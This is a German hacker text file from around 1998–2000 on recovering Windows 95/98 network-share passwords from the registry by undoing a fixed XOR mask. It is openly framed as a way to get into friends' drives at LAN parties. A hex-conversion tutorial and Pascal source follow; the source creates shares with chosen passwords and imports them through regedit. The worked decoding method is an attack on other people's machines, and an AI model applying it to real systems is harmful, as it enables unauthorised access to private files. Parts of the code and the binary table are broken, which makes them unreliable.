$inlos95/98 Windows LAN Network hack (+source) cray/ orginal 23-06-1998
cray/ updatet 09-06-2000
______/\____ _/\__ ___ H a c k e r's D i g i t a l C r i m e
\ ___\___ \/ \ \_/ / http://www.h-d-c.org www.rootaccess.de
/ / __ _/ / \ / cray@h-d-c.org cray@rootaccess.de
/ /_/ / ___/ /__\ \ \
\____/\____/__/ \__\__\
[Erklaerung]
Also vom Prinzip ist das nichts anderes als das man hiermit die Netzwerk
Freigabe von Windows Encrypten kann zB. Wenn man mal wieder bei einer
Network- session ist und fleissig GAMES zockt und man selber aber keinen
Bock drauf hat und sich viel lieber mal die Platten der netten SpielePhreaks
reinziehen will. Jeder weiß das man unter Windows wenn man Daten von einem
Rechner zum anderen schieben will man erst ein Laufwerk Freigeben muss um
überhaupt mal einblick auf die Platten zu bekommen die an dem anderen
Rechner hängen Da aber meistens bei einer NetworkSession die Freunde voll
Angst haben um ihre Daten und ihre tolle Pornosammlung ;) geben sie nur das
Frei was noetig ist und das ist eh meist das was ihr so und so bekommt oder
schon habt hehe also so gings mir immer und da habe ich mir mal gedacht
warum hack ich mir nicht mal solch eine tolle Freigabe *ggg* naja OK ...
[Einfuerung "Erstmal ein Laufwerk freigeben" ]
So als erstes gehen wir mal in den Explorer und klicken ein Verzeichens oder
ein Laufwerk mit der rechten Maustaste an dann gehen wir auf Freigabe jetzt
sollte sich ein Fenster öffnen in dem steht:
( ) nicht Freigeben
(o) Freigeben als ...... > dieses bitte anklicken
Jetzt schreibt Ihr noch ein Sinnlosen Freigabenamen
ein zB. (" FICKDICH ") das erleichtert die suche im
Regstrierungs Editor, weiter unten steht: "Zugriffstyp"
( ) Schreibgeschützt
( ) Lese -/Schreibzugriff
(o) Zugriff abhängig vom Kennwort ...... > dieses bitte anklicken
Jetzt noch ein Passwort eingeben ich würde meinen Ihr tippt erst ein mal (8x
den Buchstaben A) ein weil ich in der Beschreibung hier es auch so gemacht
habe... So jetzt noch mal eine Bestätigung und fertig. Es kann sein das bei
euch jetzt zwei Passwörter verlangt.. werden: "Eines für Schreib - geschützt
und eines für Lese-/Schreibzugriff" Ihr könnt ruhig bei beiden (8x den
Buchstaben A) eingeben ich sollte besser noch dazusagen das wenn man einen
kleinen Buchstaben schreibt das $inlos95 ihn automatisch in einen großen
umwandelt...jedensfalls war mir mal so ;-P
[Jetzt kommen wir zur Entschluesselung]
Ok jetzt beendet ihr das mit [OK] und startet den Regstrierungs Editor der
im Windows Verzeichnis unter C:\Windows\Regedit.exe zu finden ist. Wenn
nicht besorgt ihn euch !
Ihr startet den Regeditor und drückt jetzt mal die [Strg] + [F] jetzt sollte
ein Fenster erscheinen in diesem steht: "Suchen nach:" [ FICKDICH ] ihr
errinnert euch ?
(o) Schlüssel ...... > dieses bitte anklicken
( ) Werte
( ) Daten
Jetzt auf [Weitersuchen] und los ..such........such.......such....... AHHHH
Da steht es ja ....so dann schaut mal auf die rechte Seite
"Flags"=dword:00000103 < Ob überhaubt ein Passwort gesetzt wurde
"Type"=dword:00000000 und welches Drive "HDisk"
"Path"="C:\\" < Der Path wo die Freigabe ist
"Parm2enc"=hex: < Passwort für (nur Lesezugriff)
"Parm1enc"=hex:74,db,0c,e7,12,e8,95,2b < Passwort für (Lese-/Schreibzugriff)
"Remark"=""
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\FICKDICH
So also wie ihr gesehen habt ist das hier das PW:
"Parm1enc"=hex:74,db,0c,e7,12,e8,95,2b <- (8x A)
A A A A A A A A
Da ihr wisst das ihr ein großes A genommen habt schaut ihr in einer tabelle
nach welcher HexaDecimal-Wert für ein A steht..
A=41
B=42 !! ACHTUNG HEXADECIMAL WERT NICHT DECIMAL !!
C=43....usw.
dann alle HexaDecimalCodes " 74 DB 0C E7 12 E8 95 2B " umrechnen mit dem
Windows Taschenrechner unter c:\Windows\calc.exe starten und auf
Wissenschaftlich umstellen und DEC anklicken
mit XOR [ø^] um rechnen so in etwa¿
74^41=35 (XOR ist die taste unter der [ESC] taste)
DB^41=9A
0C^41=4D
E7^41=A6
12^41 53
E8^41=A9
95^41=D4
2B^41=6A
Ergebnis ist diese XOR Maske 35 9A 4D A6 53 A9 D4 6A diese bleibt
immer die selbe egal was man für ein PW eingegeben hat und ob 95/98
so nehmen wir mal an euer PW ist nicht 8x mal ein A sondern "TEST1234"
dann bleibt trotzdem die selbe XorMaske
-> Passwort T E S T 1 2 3 4
-> XorMaske 35 9A 4D A6 53 A9 D4 6A
ahh klingelst jetzt.....?!?! ich brauche jetzt nur den anderen Weg rechnen
>>-umkehr-<< das würde heißen ich schau jetzt mal einfach bei jemanden nach
und finde ein PW im Regeditor ...........
zB.
1.) Passwort finden: 61 DF 1E F2 62 9B E7 5E
2.) Passwort umrechnen Windows TaschenRechner
unter C:\Windows\calc.exe Starten und auf
Wissenschaftlich umstellen und DEC anklicken
61 xor 35 = T
DF xor 9A = E
1E xor 4D = S
F2 xor A6 = T
62 xor 53 = 1
9B xor A9 = 2
E7 xor D4 = 3
5E xor 6A = 4
Ihr fragt euch vieleicht ob das nicht ein bischen zu hoch ist...NEIN ist es
nicht es ist wohl die leichteste verschlüsselung die es giebt naja fast.....
die einfachste wäre wohl jedem buchstaben einen anderen zu zuordnen (ROT13
;-) wenn ihr wissen wollt wie man das umsetzt dann weiter lesen !
******************************************************************************
[Einfuerung Rechnen mit 0 und 1 und Decimal Hexadecimal]
Was ist XOR ??? XOR => exclusive or => Entweder oder
XOR ist eine Methode die Bits zu verstauschen
kann man sich so vorstellen man beachte den
binär code!
Char Decimal Hexadecimal Binär
A 65 41 01000001
---XOR----------------------------------------
‚ 130 82 10000010
Table:
False 0 False 0 True 1
Wert False 0 True 1
True 1 True 1 False 0
Was ist 0 und 1 ??? /+Decimal2HexaDecimal function / umrechnung in pascal
Der Computer kennt im wessentlichen nur zwei Zustände:
+ Strom an oder aus
+ Ja oder Nein
+ 1 oder 0
Doch da das sehr langweilig ist, hat man sich überlegt, wie man ihm Zahlen
beibringen kann und letztendlich kam man auf die Idee, eine Zahl aus einer
Kombination von diesen An/Aus Informationen darzustellen.
Also so: 101100010100110101 ...
Eine zwei wurde zum Beispiel so dargestellt: 10
Eine vollständige 4-Bit Codetabelle sieht so aus:
dez. binär
0 0000
1 0001
2 0010
3 0011
4 0100
5 0101
6 0110
7 0111
8 1000
10 1001
11 1010
12 1011
13 1100
14 1101
15 1111
Da diese 1010110101 Zahlen ziemlich aufwenig zu schreiben sind (wegen der
ganzen nullen und einsen) wollte man eine kürzere Variante benutzen, die
einem diese Masse von 101010111001 ersparte. Da jedoch die Umwandlung von
Binär in Dezimal nicht ganz schnell im Kopf zu rechnen ist, und andersrum
es auch nicht gerade den Spass macht, hat man ein neues Zahlenformat
eingeführt: Hexadezimal
Aber nun erstmal die Umrechnung von Dezimal in Binär:
Man nehme eine Dezimale Zahl z.Bsp.: 97d 97d = ????????b Man fängt für
gewöhnlich bei der ganz linken (binäre Zahl) Stelle an, die im dezimalen
System einen Wert hat, der größer als 97d ist. In diesem Fall ist das 128d
(10000000b). Da die Zahl 97d größer als 128d ist, ist die erste linke
Stelle (dann also immer) 0 bis jetzt wissen wir also soviel: 97d ==
0??????? Jetzt nehmen wir uns die nächste Stelle vor, das ist 64d
(01000000b) Da 97d größer als 64d ist, bedeutet das, das die nächste Stelle
eine 1 ist, also 97d == 01??????. Jetzt ziehen wir von 97d die 64d ab: 97d
- 64d == 33d Wir kommen zu nächsten Stelle (00100000b) == 32d. 33d ist
größer als 32d also wieder eine 1 für die stelle (00100000d) 97d ==
011????? ... Und dann noch 33d - 32d == 1d ( also eins ) Die nächste
Stelle: (00010000b) == 16d 1d ist nicht größer/gleich als 16d also ist
diese Stelle 0 97d == 0110????b Nächste Stelle: (00001000b) = 8d 1d ist
nicht größer/gleich als 8d also ist diese Stelle auch 0 97d == 01100???b
Nächste Stelle: (00000100b) = 4d 1d ist nicht größer/gleich als 4d also ist
diese Stelle auch 0 97d == 011000??b Nächste Stelle: (00000010b) = 2d 1d
ist nicht größer/gleich als 2d also ist diese Stelle auch 0 97d ==
0110000?b Nächste Stelle: (00001000b) = 8d 1d ist jetzt größer/gleich wie
1d also ist diese Stelle eine 1 97d == 01100001b Tada! 97d ist also binär
01100001b Wirklich toll, aber wir wollen doch in Hexadezimal umwandeln, wie
geht das denn jetzt? Es ist einfacher als man denkt, denn wenn Du Dir mal
so eine 4-Bit Binär genau ansiehst, dann siehst Du, dass Du mit diesen 4
Bits alle Zahlen von 0d bis 15d darstellen kannst. also genau wie das
hexaformat...0 bis F
Bsp.:
Die zahl 1010101010010101110010110b soll nach hexa
umgewandelt werden: Erstmal in vierer-Gruppen aufteilen:
Binär : 1 0101 0101 0010 1011 1001 0110b
(Dezimal): 1 5 5 2 11 9 6 (ist nicht 15521196 dez !!!)
Hexadez. : 1 5 5 A B 9 6 (ergibt 155AB96 hex)
Geht auch andersrum: 143CAh
Hexadez. : 1 4 3 C A
Binär : 0001 0100 0011 1100 1010 also 00010100001111001010b
Also, wie das hier alles es so schön zeigt, lässt es sich wunderbar von
Binär nach Hexa und von Hexa nach Binär umwandeln, aber die Umwandlung von
Dezimal ist und bleibt eine Plage (was haben die uns da in der Schule bloss
beigebracht? UNVERANTWORTLICH! ... aber egal )
Um nun endlich zum Punkt zu gelangen... dem Computer ist das Scheissegal,
in welchen Zahlensystem wir uns befinden... er rechnet immer Binär und
alles andere interessiert ihn nicht. Er rechnet nicht nur, sondern er
speichert auch:
In einem Byte finden 8 Bits Platz... also genau 2 hexa-Zahlen/Digits.
In einem Word finden 2 Bytes also 16 Bits also 4 hexa-Digits Platz
In einem DoubleWord (DWord) finden 4 Bytes, 32 Bits, 8 Hexa Digits Platz
( Ok ok, das reicht )
Da man 8 Bits als Gruppe ein Byte nannte nennt man 4 Bits als Gruppe ein
Nibble.
Was ich nun eigentlich großes in der Funktion gemacht habe... ich hab
einfach das dezimal Format übergangen, weil ja der Prozessor so nett war,
und für mich die Binärdigits schön säuberlich in 8ter Packs aufn Stäääck
gelegt hat und ich nur noch aus den insgesammt vier Bytes alle 4er
Bitblöcke rausklauen brauchte, und diese dann in Hexas umzuformaten, was so
einfach war wie nen kleinen Kind den Lutscher zu klauen.
Longint (4 Bytes; 32 Bits; acht 4er Bitblöcke; 8 Nibbles) im Speicher: (PS:
is hier leider alles Spiegel verkehrt, wegen besserer Darstellung)
Byte 4 Byte 3 Byte 2 Byte 1
Bits: 8765 4321 8765 4321 8765 4321 8765 4321
???? ???? ???? ???? ???? ???? ???? ????
Nibble: 8 7 6 5 4 3 2 1
Das Nibble ist zugleich auch die HexaDigit-Stelle...
Man geht also die Bytes der Reinfolge nach durch (1 bis 4) Bei jedem Byte
muss man dann die Nibbles raus lesen, das geht so:
VAR a,b,c: Byte;
.
c:= ... Byte 1... 2... 3 und dann 4
.
a:=c and $0F; ; $0F = 00001111b ... die unteren 4 Bits bleiben erhalten,
. die oberen 4 Bits werden gelöscht (auf null gesetzt)
.
b:=c and $F0; ; $F0 = 11110000b ... die unteren 4 Bits werden gelöscht,
. die oberen 4 Bits bleiben erhalten (auf null gesetzt)
b:=b shr 4; ; die oberen 4 Bits werden nach unten verschoben
. anders: Oberen 4 Bits werden in die unteren 4 Bits kopiert
. und die oberen 4 Bits gelöscht
.
Was haben wir danach? In a steht das 1. Nibble und in b das 2. Nibble Jetzt
brauchen wir nur noch unseren cewlen Konstanten_String benutzen, den wir
Xtra dafür vorbereitet haben:
CONST HexSet : String[16]='0123456789ABCDEF';
und holen uns die Digits mit
VAR Back : String;
.
Back:=Back + HexSet[a];
Back:=Back + HexSet[b];
.
Diesen Prozess durchführen wir natürlich für jedes Byte.
FUNCTION Dec2Hex(Zahl:Longint; Stellen: Byte):String;
TYPE TZahlSpalt = Array[0..3] of Byte; { Wird als Maske verwendet }
CONST HexSet : String[16]='0123456789ABCDEF';
VAR Back : String; { Rückgabe-String }
a,
b,
i : Byte; { Zählvariabel }
BEGIN
Back:=''; { Den Rückgabe-String erstmal initialisieren }
i:=0; { Stellenzähler initialisieren }
Repeat
b:=TZahlSpalt(Zahl)[i shr 1]; { Ein Byte von der Zahl holen }
inc(i); { Position der Aktuellen Stelle um eins nach links setzen }
a:=b and $0F + 1; { Vom Byte die unteren 4 Bits holen und umwandeln in Hexa-Format }
Back:=HexSet[a]+Back; { Zum String Dazu addieren }
IF i=Stellen THEN Break; { Falls nicht mehr stellen verlangt, dann hier raus }
a:=b and $F0 shr 4 + 1; { Vom Byte die oberen 4 Bits holen und in Hexa umwandeln }
Back:=HexSet[a]+Back; { Zum String Dazu addieren }
Inc(i); { Position der Aktuellen Stelle um eins nach links setzen }
Until I=Stellen; { Falls nicht mehr stellen verlangt, dann hier raus }
Dec2hex:=Back; { Rückgabewert}
END;
BEGIN
ASM mov ax,03h
int 10h End;
WriteLn('Ich zeig die Hexazahlen an:');
WriteLn(Dec2Hex($11112368,8));
END.
//////////////////////////////////////////////////////////////////////////////
{ PASCAL-SOURCE-LAN-NETWORK-HACK }
{ hier ist der source der ein die }
{ neue Netzwerkfreigabe verschafft }
{$M $4000,0,0 }
{$F+}
PROGRAM hack_windows_freigabe_oder_so;
USES Crt,Dos;
VAR
F : Text;
E : File;
Dum,FrPfad,Frname,getString,s : String;
DumStr : String;
WinPath,reginpath : String;
Pw1,Pw2 : String [8]; {Pw's mit XOR chiffrieren}
i,Lenght : Byte;
c : Char;
ctrl : Word;
param1,param2,param3 : String;
eingabe : String;
CONST Xormask : ARRAY [1..8] OF BYTE=($35,$9A,$4D,$A6,$53,$A9,$D4,$6A);
FUNCTION Dec2Hex(Zahl:Longint; Stellen: Byte):String; { von Decimal in Hexadecimal umrechnen }
TYPE TZahlSpalt = Array[0..3] of Byte; { Wird als Maske verwendet }
CONST HexSet : String[16]='0123456789ABCDEF';
VAR Back : String; { Rückgabe-String }
a,b,i : Byte; { Zählvariabel }
BEGIN
Back:=''; { Den Rückgabe-String erstmal initialisieren }
i:=0; { Stellenzähler initialisieren }
Repeat
b:=TZahlSpalt(Zahl)[i shr 1]; { Ein Byte von der Zahl holen }
inc(i); { Position der Aktuellen Stelle um eins nach links setzen }
a:=b and $0F + 1; { Vom Byte die unteren 4 Bits holen und umwandeln in Hexa-Format }
Back:=HexSet[a]+Back; { Zum String Dazu addieren }
IF i=Stellen THEN Break; { Falls nicht mehr stellen verlangt, dann hier raus }
a:=b and $F0 shr 4 + 1; { Vom Byte die oberen 4 Bits holen und in Hexa umwandeln }
Back:=HexSet[a]+Back; { Zum String Dazu addieren }
Inc(i); { Position der Aktuellen Stelle um eins nach links setzen }
Until I=Stellen; { Falls nicht mehr stellen verlangt, dann hier raus }
Dec2hex:=Back; { Rückgabewert}
END;
FUNCTION chiffre (s:String):String; { rechnet einen String in XOR um}
VAR i : BYTE;
Dummy : STRING;
BEGIN
Dummy:='';
FOR I:= 1 TO Length (s) DO BEGIN
dummy:=dummy+char (byte(s[i]) XOR xormask[i])
END;
chiffre:=dummy;
END;
FUNCTION Convert2regStr(source :String):String; { komma"," zwischen den String setzen }
VAR
buffer : String;
i : Byte;
BEGIN
source:=chiffre(source); { in Xor umgerechnet }
Buffer:=''; { Unser Buffer }
FOR i:=1 TO Length (source) DO BEGIN { umrechnen in hexdec }
Buffer:=Buffer+Dec2Hex(BYTE(source[i]), 2); { wert > buffer holen }
if i<>Length(source) then Buffer:=Buffer+',';
END;
convert2regstr:=Buffer;
END;
PROCEDURE CHECK_WIN_PATH; { Hier wird der WindowsPath ermittelt }
VAR
winfile :FILE;
suchstr,Buffer :STRING;
winpath :STRING[16];
Buf :ARRAY[1..2048] OF CHAR;
key,c :CHAR;
BEGIN
suchstr:='WinDir='; { zu suchender string }
Buffer[0]:=suchstr[0]; { auf null setzen }
Assign(winfile,'C:\msdos.sys'); { die datei öffnen }
IF ReadOnly+Hidden+Sysfile <> 0 { Schreibschutz entfernen }
THEN SetFAttr(winfile,Archive); { und auf archiv setzen }
Reset(winfile,1); { an den anfang springen }
WHILE Not EoF(winfile) DO BEGIN { wenn kein EOF dann ... }
BlockRead(winfile,c,1); { ein byte lesen }
buffer:=Copy(Buffer,2,Length(Buffer)-1)+c; { byte mit string vergleichen }
IF buffer=suchstr THEN BEGIN { wenn byte übereinstimmt dann }
WriteLn('GEFUNDEN! FilePos:',FilePos(winfile),' / ',FileSize(winfile));
END;
END;
Close(winfile); { Datei schließen }
IF ReadOnly+Hidden+Sysfile <> 1 { wenn die attribute nicht da sind }
THEN SetFAttr(winfile, ReadOnly+Hidden+Sysfile+Archive); { dann wieder setzen }
END;
{****************************************************************************}
{ ----H-A-U-P-T-P-R-O-G-R-A-M----- }
BEGIN
Clrscr;
TextColor(8);
Gotoxy(3,6); Write('Freigabename: '); ReadLn(FrName);
Gotoxy(3,7); Write('Freigabepfad: '); ReadLn(FrPfad);
Gotoxy(3,8); Write('Schreibgeschütztes PW: '); ReadLn(Pw1);
Gotoxy(3,9); Write('Lese/Schreibzugriff PW: '); ReadLn(Pw2);
Assign(F,'import.dat'); { Datei zum Importieren erstellen }
Rewrite(F);
Writeln(F,'REGEDIT4');
Writeln(F,'');
Writeln(F,'[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\',Frname,']');
Writeln(F,'"Flags"=dword:00000102'); { <- wozu die Flags gut sind weiß ich selber }
Writeln(F,'"Type"=dword:00000000'); { <- noch nicht sogenau k.A. *grübel }
Writeln(F,'"Path"="',FrPfad,'\"'); { <- Der FreigabePfad }
Writeln(F,'"Parm2enc"=hex:',convert2regstr(pw2)); { <- hier soll das mit XOR + HEXDEC }
Writeln(F,'"Parm1enc"=hex:',convert2regstr(pw1)); { <- umgerechnete hin }
Writeln(F,'"Remark"=""');
Close(F);
WriteLn('Daten werden importiert');
param1:=' /L:',suchstr',\SYSTEM.DAT'; { check-win path }
param2:=' /R:',suchstr',\USER.DAT'; { check-win path }
param3:=' import.dat';
SwapVectors;
exec('C:\Windows\regedit.exe',param1+param2+param3); { Daten Importieren }
SwapVectors;
END.
{ EOL -> End off Line cut here }
cleaner | THANX for more information Pascal/Delphi-Coder
D.h7 | THANX for more information JavaCoder
interference | one of a expert Coder ;) C/C++/Pascal/asm Coder
-- contact --
http://www.h-d-c.org
cray@h-d-c.org
CRAY sagt: das ich für nichts hafte war doch schon klar oder ? dieser text
ist auch frei kopierbar ich möchte aber daraufhinweisen das der text nur im
orginal weiter kopiert werden darf!